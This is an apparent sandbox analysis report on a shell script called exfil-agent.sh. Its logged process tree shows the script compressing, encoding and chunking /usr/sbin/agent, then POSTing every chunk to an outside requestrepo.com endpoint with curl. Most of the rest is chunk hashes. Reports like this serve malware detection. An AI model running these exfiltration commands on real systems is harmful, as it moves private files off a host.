9e579a810bf5e63c217a374e59bb9f93a2cf20e45798622907787739ae6c78b9

Analysis

max time kernel
17s
max time network
897s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03/10/2026, 16:27

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
exfil-agent.sh
Size 807B
Sample261003-tybmsstycy
SHA256 9e579a810bf5e63c217a374e59bb9f93a2cf20e45798622907787739ae6c78b9
MD5 9f7af32e0dd6fb42a803db8cc5538ba8
SHA1 8ce81a664786270e6de6abf48b785087b68790ec
SHA512 e388859d428644a58038e54e024f78f679ed89627e97320b0f355ae6cb9f29247be121d0858e7ef3aa62d3bc30f2627f8de232418bf47583fed0faf485448601
TLSH
T1DD01EF2E70A016304BCEDA14B64496B4E7833B2A0A1760CAF01B12F0933D0F2D362661
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	mkdir

Writes file to tmp directory 32 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/gatofox-agentbin/chunk-027	split
File opened for modification	/tmp/gatofox-agentbin/chunk-028	split
File opened for modification	/tmp/gatofox-agentbin/meta	exfil-agent.sh
File opened for modification	/tmp/gatofox-agentbin/chunk-000	split
File opened for modification	/tmp/gatofox-agentbin/chunk-002	split
File opened for modification	/tmp/gatofox-agentbin/chunk-018	split
File opened for modification	/tmp/gatofox-agentbin/chunk-021	split
File opened for modification	/tmp/gatofox-agentbin/data.b64	exfil-agent.sh
File opened for modification	/tmp/gatofox-agentbin/hash	exfil-agent.sh
File opened for modification	/tmp/gatofox-agentbin/chunk-004	split
File opened for modification	/tmp/gatofox-agentbin/chunk-016	split
File opened for modification	/tmp/gatofox-agentbin/chunk-017	split
File opened for modification	/tmp/gatofox-agentbin/chunk-009	split
File opened for modification	/tmp/gatofox-agentbin/chunk-014	split
File opened for modification	/tmp/gatofox-agentbin/chunk-026	split
File opened for modification	/tmp/gatofox-agentbin/chunk-006	split
File opened for modification	/tmp/gatofox-agentbin/chunk-020	split
File opened for modification	/tmp/gatofox-agentbin/chunk-005	split
File opened for modification	/tmp/gatofox-agentbin/chunk-011	split
File opened for modification	/tmp/gatofox-agentbin/chunk-013	split
File opened for modification	/tmp/gatofox-agentbin/chunk-015	split
File opened for modification	/tmp/gatofox-agentbin/chunk-001	split
File opened for modification	/tmp/gatofox-agentbin/chunk-007	split
File opened for modification	/tmp/gatofox-agentbin/chunk-025	split
File opened for modification	/tmp/gatofox-agentbin/chunk-008	split
File opened for modification	/tmp/gatofox-agentbin/chunk-010	split
File opened for modification	/tmp/gatofox-agentbin/chunk-012	split
File opened for modification	/tmp/gatofox-agentbin/chunk-019	split
File opened for modification	/tmp/gatofox-agentbin/chunk-023	split
File opened for modification	/tmp/gatofox-agentbin/chunk-024	split
File opened for modification	/tmp/gatofox-agentbin/chunk-003	split
File opened for modification	/tmp/gatofox-agentbin/chunk-022	split

/tmp/exfil-agent.sh
/tmp/exfil-agent.sh
1⤵
- Writes file to tmp directory
PID:1492
- /bin/mkdir
  mkdir -p /tmp/gatofox-agentbin
  2⤵
  - Reads runtime system information
  PID:1493
- /usr/bin/base64
  base64 -w0
  2⤵
  PID:1495
- /usr/bin/xz
  xz -9 -c /usr/sbin/agent
  2⤵
  PID:1494
- /usr/bin/sha256sum
  sha256sum /usr/sbin/agent
  2⤵
  PID:1505
- /usr/bin/wc
  wc -c
  2⤵
  PID:1507
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 25 -sS -X POST --data-binary "@/tmp/gatofox-agentbin/meta" https://mj5uhfpe.requestrepo.com/agentbin-132711/meta
  2⤵
  PID:1508
- /usr/bin/split
  split -b 180000 -d -a 3 /tmp/gatofox-agentbin/data.b64 /tmp/gatofox-agentbin/chunk-
  2⤵
  - Writes file to tmp directory
  PID:1510
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 0" --data-binary "@/tmp/gatofox-agentbin/chunk-000" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/0
  2⤵
  PID:1511
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 1" --data-binary "@/tmp/gatofox-agentbin/chunk-001" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/1
  2⤵
  PID:1513
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 2" --data-binary "@/tmp/gatofox-agentbin/chunk-002" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/2
  2⤵
  PID:1515
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 3" --data-binary "@/tmp/gatofox-agentbin/chunk-003" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/3
  2⤵
  PID:1517
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 4" --data-binary "@/tmp/gatofox-agentbin/chunk-004" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/4
  2⤵
  PID:1519
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 5" --data-binary "@/tmp/gatofox-agentbin/chunk-005" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/5
  2⤵
  PID:1521
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 6" --data-binary "@/tmp/gatofox-agentbin/chunk-006" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/6
  2⤵
  PID:1523
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 7" --data-binary "@/tmp/gatofox-agentbin/chunk-007" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/7
  2⤵
  PID:1525
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 8" --data-binary "@/tmp/gatofox-agentbin/chunk-008" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/8
  2⤵
  PID:1527
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 9" --data-binary "@/tmp/gatofox-agentbin/chunk-009" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/9
  2⤵
  PID:1529
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 10" --data-binary "@/tmp/gatofox-agentbin/chunk-010" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/10
  2⤵
  PID:1531
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 11" --data-binary "@/tmp/gatofox-agentbin/chunk-011" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/11
  2⤵
  PID:1533
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 12" --data-binary "@/tmp/gatofox-agentbin/chunk-012" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/12
  2⤵
  PID:1535
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 13" --data-binary "@/tmp/gatofox-agentbin/chunk-013" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/13
  2⤵
  PID:1537
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 14" --data-binary "@/tmp/gatofox-agentbin/chunk-014" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/14
  2⤵
  PID:1539
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 15" --data-binary "@/tmp/gatofox-agentbin/chunk-015" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/15
  2⤵
  PID:1541
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 16" --data-binary "@/tmp/gatofox-agentbin/chunk-016" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/16
  2⤵
  PID:1543
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 17" --data-binary "@/tmp/gatofox-agentbin/chunk-017" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/17
  2⤵
  PID:1545
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 18" --data-binary "@/tmp/gatofox-agentbin/chunk-018" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/18
  2⤵
  PID:1547
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 19" --data-binary "@/tmp/gatofox-agentbin/chunk-019" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/19
  2⤵
  PID:1549
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 20" --data-binary "@/tmp/gatofox-agentbin/chunk-020" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/20
  2⤵
  PID:1551
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 21" --data-binary "@/tmp/gatofox-agentbin/chunk-021" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/21
  2⤵
  PID:1553
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 22" --data-binary "@/tmp/gatofox-agentbin/chunk-022" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/22
  2⤵
  PID:1555
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 23" --data-binary "@/tmp/gatofox-agentbin/chunk-023" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/23
  2⤵
  PID:1557
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 24" --data-binary "@/tmp/gatofox-agentbin/chunk-024" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/24
  2⤵
  PID:1559
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 25" --data-binary "@/tmp/gatofox-agentbin/chunk-025" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/25
  2⤵
  PID:1561
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 26" --data-binary "@/tmp/gatofox-agentbin/chunk-026" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/26
  2⤵
  PID:1563
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 27" --data-binary "@/tmp/gatofox-agentbin/chunk-027" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/27
  2⤵
  PID:1565
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 30 -sS -X POST -H "X-Gatofox-Index: 28" --data-binary "@/tmp/gatofox-agentbin/chunk-028" https://mj5uhfpe.requestrepo.com/agentbin-132711/chunk/28
  2⤵
  PID:1567
- /usr/bin/curl
  curl --connect-timeout 5 --max-time 25 -sS -X POST --data-binary "@/tmp/gatofox-agentbin/hash" https://mj5uhfpe.requestrepo.com/agentbin-132711/hash
  2⤵
  PID:1569

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

chunk-000

Path /tmp/gatofox-agentbin/chunk-000
Size 175KB
SHA256 4519e16622f05105eab6a1a669713a16b191145ecc8c3657a4a701b616185943
MD5 3b6aeebae8b0324e2625a4c1b27aa254
SHA1 69e3a333a2c6f8b058a65cdbd2292c19b0147c44
SHA512 e310096b9632656506d157e9015051e75f018b7c3151b144496b0f8fcea710f6d2c7e66972d06aa28b2eec0ebe7b18cbd91419e6ed462cd450ef3bc8b3799f9b
SSDEEP 3072:08G0/OyVD1iXMQlmRC6BkbVOWTOyQGYMWziHY8pjCl2AtQ+lGYoMo5BcPRCTozj9:ZGhsZEN/6Bk/aylYncjPZqAL5BaRCTod
TLSH
T13A0422259B7DE1B7CB48E331C8523EBF3C66161919696DDDD6CAB182A2334431303DB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-001

Path /tmp/gatofox-agentbin/chunk-001
Size 175KB
SHA256 cdd659457504607fcc7300386e1269557ec76c16157e9c014194b581503cae4f
MD5 08f3ae36f284edf7e02a54cf079b2b75
SHA1 619570cbc42139ef47801f15ca9bce4e1282b741
SHA512 66802c7b72dfbdad1b1168d7b74883b2925a3d149f030ea421e5aec302db7b328e408c66963cc6bbc95897a8af1dba1976a7f2f6bcf02f6c2069734ce311a2c3
SSDEEP 3072:O7RtuGOndt5ibQf6BUBLYDxisM7S8FGjixXScK0kJago22jwNLOs6q8kczgdCJPv:OtxOlAQ0UBLYtzbLixX5KBB2jyLSNrzf
TLSH
T1680412693E1F2DBB4931827D6277DE1928D08FD454D4AACC86CB2A4E41DBDC76009E87
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-002

Path /tmp/gatofox-agentbin/chunk-002
Size 175KB
SHA256 4683a9612f983ab84f4a3ca4e27d63e2e59483cad6c022ac062ed6d28d447c58
MD5 b0d0a5b48dc95623cc434568148642c7
SHA1 958b772b039f529297427e2188f5621a503d12df
SHA512 3759385737918341d743d2ea3f356ee40ac09eeb1c8f4100d4b97aa3b4ad2040459ae64bad88c7e864ea33c327800d67e5c5e86c7c603613e80abe0103f14d14
SSDEEP 3072:4opdVWHoP9q0CjG4wiS5VcB2BXtxX6OKN8uqP6Fun1JGnbaw8DoX23rCc7OuFWbH:TWAEljG43S5M2dtJ6ZadZf+8tCRbbH
TLSH
T1EA0412B1731FFA39457C202196F6880CDFE00B7A886452EFA6AA3FC18D5F7216937654
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-003

Path /tmp/gatofox-agentbin/chunk-003
Size 175KB
SHA256 a914f6a1c5310b3fd2ad2ce1df6db41f7967e5921da2b25d678c0fccc6fd9932
MD5 e2dae6ecf7ce34d57c87be07c98cebc3
SHA1 daa243058131a165732ccf7569ad8cd0fc5b6db8
SHA512 29c50205dc65ae22168644f2dbc75eda3d9623c36e1e292247899b95092c64dd55c554b5867f9d64ef433b18653c47e5d480b7b660ac50140b5632f14a231e67
SSDEEP 3072:05LxiAp3OGsUWds0dxRZ3eIC1goZL/TqbzTy/4HphkJQPSFJbJ8cpdG31rd:sJp3FDcxjeVNLYiqphKNjbuYdG
TLSH
T18404230195538DFFA782A47F50787D5E127674AA981BFC7673E959EA830630A32BF00C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-004

Path /tmp/gatofox-agentbin/chunk-004
Size 175KB
SHA256 9950536386b13d8900ba55207277d6ff655977f4bd831448cc42bf1786a98eba
MD5 218db947b840bcb36a92eb9da64be809
SHA1 9b016ec27ed6ee737a4c72fbfe5b3aca82de5c51
SHA512 b565b2d89cb3eaec92aab603ddcf61cd5ab52f91c0572c0d6238cb57a7614d5fc443b1a1ea46850a29149db72fc68f1aeae84ba9841629ac71f3136cef523735
SSDEEP 3072:8+wYKCZW3QithtMMpj3FJsRgaqOnwXaLJMl2spPUQJiKQkwDlZ+SfCMpO:8+dKCZCQithtZ8Rg4i6JM4EsQDQrDlEN
TLSH
T1DC041250DD1261DB572005B931EDC90872F43B925ECA625BA6BBE09D809FB172F0BBD2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-005

Path /tmp/gatofox-agentbin/chunk-005
Size 175KB
SHA256 b7e60ea1a48b62b51c990527ebbdc036be863cdfc6db5f3d558a84610e69773e
MD5 cc29cc9867a3c0d1614152cd1aa3e211
SHA1 54ddbc3bc4df4e765ddcbe59e0de1e580112585b
SHA512 91a2f66478b16799443e21c272d967a5d675bbf81a85c8ef8b79d44c0acb8e8de6d6ca47f52832b56d1cb12e9405d28d320dd919026c1a26403b135582a5afa3
SSDEEP 3072:mY7KhP+KZFSDhJHJ5LIzJr9cotKJPe5MM/kX+r+WdNps7VUfOMuRZmF+7mVr0Uz:mYOV5FgpiVr9PG07z+WdNps7KfZufmI8
TLSH
T13B04124078467EF4D0757B8BD2726BA0C6FE5FE09C2D15AFE429BB45D087112A2D2A3C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-006

Path /tmp/gatofox-agentbin/chunk-006
Size 175KB
SHA256 4d994349430ed4d047ba7dd25b0d5b87fdcc16159296ad948024218d6cee36d6
MD5 eae7cffafbf787d2fdd2ab8902888be7
SHA1 df732aecd1fbcd5a3dbf388ae5c1acef25357868
SHA512 bbc2c59d5a7e26ae28952914f1ea1b5a770a1afa053db01c872644ea0646edd6593898cdcfd6363a27a96ba70ee952342197ab3c0bff87ca07786d17e457df22
SSDEEP 3072:7oLYc+Fpc2VcFriDlJeVW/g280QhwZGn0PvX0JJI6ZKfJYBBUSERtOKyN:70q423hL5whwZkEvX0TVUxYBBUSERteN
TLSH
T1240412845D65ED3E4B366A702137AC1E2F702A8133D8E5A543CE7E8DB36E5900C7C2D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-007

Path /tmp/gatofox-agentbin/chunk-007
Size 175KB
SHA256 308efb07f676c7933b9b4f72f475f3e0249b879a7dccd3d8324828c96f816098
MD5 4d08a6341bf9073cca77e1352c406aea
SHA1 11b084a86f4818807289fea4de7c359c061002a4
SHA512 afc9d7d25ba21089b3f5bfb0b7d5766104ae4d721f634d81fdb9d9bb85c10b4f4f898869d13755d8dab21b9bdeb000f3682d5ed3a34d6b131a302ca5b42eb227
SSDEEP 3072:AcmQVTk0LOAnEBi0g8/BViIFNo8WEsPt0dxG69+ECH6bdhUUY73IDozX:zm8TkgEBiuB/CryN+ECaUUY7IDozX
TLSH
T1BF04126A2E21AD4CC704378F59EF2DD9337858960186D6B845A67C4BBFA3388253798C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-008

Path /tmp/gatofox-agentbin/chunk-008
Size 175KB
SHA256 41112225e7ec2353acf0e5f428a9295fd65e0f00e15c14099e8d861015134409
MD5 1ce9439cad8e45b49f6cf3a4a09bab78
SHA1 b7d88b57a021066109eabb17fde6ee1da4361833
SHA512 c95e28f9792ccf278988fa6380b2e47db19328bb31a73415d21265f34865485b579dcccbe097b1ec70c2a39552583972ce81e36d89d2a4bad4c82e7293065f8c
SSDEEP 3072:TbaNjPQIm5Iv7yky5EjgYmfSDeBS+1937wYMx48v+nAlLkOaEpjcAj9:Tbay3WTy5PMGfxw748vobOaWgAj9
TLSH
T1DE041231AE9C1D78CF0FF339E179A39F509C7DA22C9E499295FC28A04E2C6D312165D6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-009

Path /tmp/gatofox-agentbin/chunk-009
Size 175KB
SHA256 e7c2ab755de6b275d6ddc819f2ef546ffced23d9f54aa2c7e3bc4fa17ef0d30c
MD5 a3ee6db82e8efae5f13fa10f8aae4f8f
SHA1 8dc914389b09fb65e4178044272566a3baae1c59
SHA512 24b87e888c5da543371fbc6585b12368d5af726edda791206660c0517492544e2c04c9afd25e261e9d5132722eb20f3bfa887071d88aa48cbdbac4507058be94
SSDEEP 3072:in0jtk50oXfc9ceBrGeYNCq+jDUzR+yVQV7BzsFu3v66gChJUU4pimU2vSJtUJlk:qik50oXfcaeoCq+jYzXQRVsuv66gy18g
TLSH
T1A80413200D627C3F75E60F00B42E6F6A35FDB55AF5ACD267B1BC8187658C092BB0791A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-010

Path /tmp/gatofox-agentbin/chunk-010
Size 175KB
SHA256 d4dd4dd5ad80ebbf708748f6540109cee2d357b76af82bcb0b2e9303785a4979
MD5 dc0ed34c5725000b7bb9785e04fef9d1
SHA1 1b403e70dc0157c4fd3ddc26fd1f2b88d0c040af
SHA512 2ad4b556d0e5726cfcfccd8db01ad9e8c8c3a3fb7585c5126634c73245191799794dd81c4b5636bc403ff6d71ee85d06e255f8efc9f09f254d47ea8880ea98e1
SSDEEP 3072:/LM22OP7XuIeFeE8BuYfRry8onfZvcsZjTDYOb7tLZdm+YveGy9w0bvZrrkNJ1/4:jb2ODXQIE8BuYfRuXnh0sZnDTbvrk0bT
TLSH
T19A0413B605B7BE86520CB93FA68FC6993F8074C76401F51C72DFB2C61A92D95CE07660
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-011

Path /tmp/gatofox-agentbin/chunk-011
Size 175KB
SHA256 a16cd5e171c2d9f9f425a800f97b9feb296b9531c69a076817627e0b016bc6d2
MD5 ef7a8c0a4a39a6d86ee2b47ba0ac6639
SHA1 97c2ae625578c83d2852409ad584832d3774dd9a
SHA512 bf8403a74244e86bec5ad58b980830d9e3ff9cd332048adcea9080a23428cd49bb375ecb360ea0e32390dce55934be854530d161dd67965cd9cf80ae024f6cf2
SSDEEP 3072:1hbS5fEpNGIyYAQxv0UggGblbIA5VmKrDmFKILBV/EYZAIwSAyvxBr9u9D7lt:1h+5fEpN/d0BjpIA5VzryoIdVBwjyvjq
TLSH
T1590422E688DA1476ABABC1116991F34F1EDD2A1509F7F0EE93B057B462CCF9B102580F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-012

Path /tmp/gatofox-agentbin/chunk-012
Size 175KB
SHA256 c89baaf6792767b7fe2f4ecd406ce70cce8183684fe7a3493a6bde85faf207f6
MD5 72ea47956e5e66bb994cb62f067bf663
SHA1 53c1f28359cf933eaf29bb694e8b833eeba21c3c
SHA512 b7a23f59cc926f9298d3c9d1d019707b81f1e88780a2868f4a74ef6831f457a7f2255413a549f27015374b6846bd175b2cba4543aa2fb1be4bed149fb760c1b1
SSDEEP 3072:PoBp3RqFmExpoZCq+DmEx56g/qPXGjc1vOMPWWAgZrf6Sn685jaL5:PoBp34boZwBegCP2jMpWlgRJOL5
TLSH
T1F504225E5F4C446C2A6811AD14E3A69E6A3206C150EAF7CC03E635FCD5BB7058D8F4EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-013

Path /tmp/gatofox-agentbin/chunk-013
Size 175KB
SHA256 abc194d153612608f974dbca743490c2bacb1ef86281be1e71c60546f7f1b7f7
MD5 434e81f3d9e453085a67e2be9ff2bd75
SHA1 e969956dd734e3bc5054ba088bdc83b82508238b
SHA512 5c7791c0dda83e990c637d1ec483a6d00ffe0ec5c1c7e87bbbcfbfa4d6a1584a5c75654b1458d011e70ec91aeb4399d7fe6a5337bbad11a39db5bc1a3cf7a6c6
SSDEEP 3072:bQNfeEXwqayrD5CWxmPgyKpq5Q7wPsvRSmyF0dgegoM0dcTOch+jr/:8fRwqayQWxqgyOwKxv/yC60qO9f/
TLSH
T17E0412891F8D7DF4D0ED1115A49BAB13C2F01B9068A2E4E4CFF06A63CDDCA458F259DA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-014

Path /tmp/gatofox-agentbin/chunk-014
Size 175KB
SHA256 066ef2724ea79bc54bfde7f76820d67560e77210d269d695eeea220c3acd1e4d
MD5 49e2314bd1514901619c8af845b73c26
SHA1 d18705bac6c812dd487edfce03ad548f9d827eba
SHA512 1eacd4d278e27f3fc0a3e2127a3a7fb2f7b2f1cfb01a1f1a8207887ee35716ab4b78742484d23798e1ec6fdd80b19e6da2d8d02261784c929d8268f622be7837
SSDEEP 3072:W5dxLLoYLGWYYydcOQWDzaOfbaWZ0uH+l0rAzbqYOerYj9vmCI/C899zDqkeqpsu:aPnTLpYMOQWPaoGWOV0r7hhve/C8993D
TLSH
T13E0412C2FEB5DC9867152D9D8677455646307C3A8C2AE034B3B782E3A0DD186CB22DED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-015

Path /tmp/gatofox-agentbin/chunk-015
Size 175KB
SHA256 2f7616b7bef03669bb53c19a807e3a7f9bb69684cbb2a5a190bf14e03284f7ac
MD5 c6fe25d510656a87ba00eef5289bedfe
SHA1 aa209cb0a821f7b10267c2fa140dbb007c1f96f8
SHA512 b6f17c7d3975133f15b9a1df03227adbc39216a00b043a52522a8198da1c2644287ec6389ec14a86f097ac663cc01b68c512537eaab71b7d13999fec71eabfc3
SSDEEP 3072:VH2j3MoeEKO4whNOqj1c+cFtmc+JvSR/7SDu1rpX14ZvoJLQwP8S/+rXdJG5fZpu:VELjK8cbFL+ujrV51P8S/IY5ju
TLSH
T1C0041210DAF4596DD045633566226F1E6C96C88AC2D4DCA2FFCB1A97402FFB7CC2A463
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-016

Path /tmp/gatofox-agentbin/chunk-016
Size 175KB
SHA256 5846c5a1b42a88aa401e5c346c55061dc731a0f472bc8197fe499cd0b03cdbcb
MD5 7e791944a3c51447d45c0be2c4e4aa4b
SHA1 f38b427ec37b61120b46062e45168062c5cab567
SHA512 5e2ccd2a0e0d3c4532763c02ed66792f0804180564a174f49b83a52952b2ee7ad7d6fffce631232493261bdbb0c1bd457753a8e7049a9df343e4328e6ae65355
SSDEEP 3072:cpq5WrP1DUboAqcI/wNVkhC2eiDa8/tMHj1rPttnzG8BJqOdUBby:cplreboQNV84t8/t0JttnzG8BJjgm
TLSH
T12C0412349C2379CAA794E8EBB40BED3161F40B8688EEFC81594E54E378C76D871CB845
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-017

Path /tmp/gatofox-agentbin/chunk-017
Size 175KB
SHA256 4f09952f7168dcf9d309954cb175dd7bbb03b8d0a803f1b6f4fab8fd1d29bd13
MD5 30c88932356d4cca8788e18e62a945e6
SHA1 c5b60133f820850c11be88fd29dfe473fb7f292c
SHA512 9f28656ff27981fb8e92195cc040ca53ed65502e5fe3a56e480e5e04795e92bf311578d89f0efc72c10738e67c18c70f0811aa50935e7d4f3a391690152a339a
SSDEEP 3072:MXA0Mu8yBiv4q3doMUeY2oMO1QAwOViAPZSZc8MRjDs4tbtds0JUyN3Tvv/:MwPuxUvdWcY2o+AwSrZSZ2tbtKQNjvX
TLSH
T1520412713C1FCFA6C39E822D773FABEC37682ED0560AE38A6BD47094543AB564406A15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-018

Path /tmp/gatofox-agentbin/chunk-018
Size 175KB
SHA256 f36c385b4d34363db22b33b3e5ff70fc811f4e2e9d210fc16e004be6677ed889
MD5 e1dfd4e157ebbaf16be51b4a9b627128
SHA1 426abda16e642c7c0992f636cecd2d7e8902933a
SHA512 4a7ed4e02f90e1d91fc94124874c1d95c2e553456f50e569c2f2040d6101b105291cf26b93059554877ab88c1da2c180d8fbeb7015d1b759df48b1cf7e4386e6
SSDEEP 3072:CvaBFyuF3bd/uOOvx1XVl3oXzHKolWO1iYlUjj1LstQ3aOjVfXhhCn9qj/:Ctu/uvxN3szHZnoYuj2K3auVP+y/
TLSH
T18504239493FCB19A69FC3F64A07B2BBC58A284318F4D837695C1B4992B01356CE7B0D3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-019

Path /tmp/gatofox-agentbin/chunk-019
Size 175KB
SHA256 49586351980d476c5eda3293b8b2938672fc6426262b2cde97348105e7e4b634
MD5 b7642a7a8d45f67e483afdf3e024e0d6
SHA1 1dd2fe732fcde0d9288f4366a78d15432a157414
SHA512 0f130dc8a8eac37ade32efdb854d0195821512acaeb31213432bfa05c1276a7b05633b81bded096099c2fdc101bb1562ed63f2bd39bae1280a25741f8c360968
SSDEEP 3072:uaCrSsl4fq/yNYjzGZwcIGFL49INOUcx1upyB099VRacBkTyNhuRrfQB31:7C+sl4SQWvGFLbctBu9tkWbuRrQBl
TLSH
T10F041224C41E13345DC1F53B817B9F0C51B017A73C95F28294DFAA9FB38E8469696A2D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-020

Path /tmp/gatofox-agentbin/chunk-020
Size 175KB
SHA256 6d1e26c3dd10e93a988608f7dbbb52eec24fda9c00102a599efae52b059e0e55
MD5 4d6dd179b9419590423ab0000a4755b0
SHA1 90bf951537e83417fd309b87204c76bd2f6a281f
SHA512 89c35cf35ea8169c6bb076a7b6dff9362c43d6848feb34e2dc23f239239ec775b5ccf81d767f98ff4be724da6af847d406a08312950db7e9387fa9e5eb449df0
SSDEEP 3072:KDf+NYZDP8ecjETsRDZSf7P/8ds6F8xkMnpZbbSs2sEm4EjQoeJLREk+:KOeDPYjE6DZ4L8+cjMn/l2Pm4IwJ9Ez
TLSH
T1D50412549776972730F97C5694FB98592C3163D05809EBE5CF072A8EA2EEB7A0D30E0C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chunk-021

Path /tmp/gatofox-agentbin/chunk-021
Size 175KB
SHA256 fa8acd7a1d87d469fd7a353e1f3645e17cc8dd2a70e564c9ff9b15116771624d
MD5 b271127b24035d552c9537f83b1a9077
SHA1 f59ff5475edb169fbaaddc15a7b776e422d1f34a
SHA512 78593e81682567edabe4e7711796ca790d99eb4ed3163746420f5f89572b6c7d65a9878615f46f8febc566010fb09472444e7ed6c20508df284a2128f1082187
SSDEEP 3072:kMcvPQIFA3vBR58av42oRs1xPub0e+161Ba+JUujAE6zfaDWHZWvvq0QT81QVMk4:ZwQrpv4OVD+JXjAE6mHiLT8mfQqMOM
TLSH
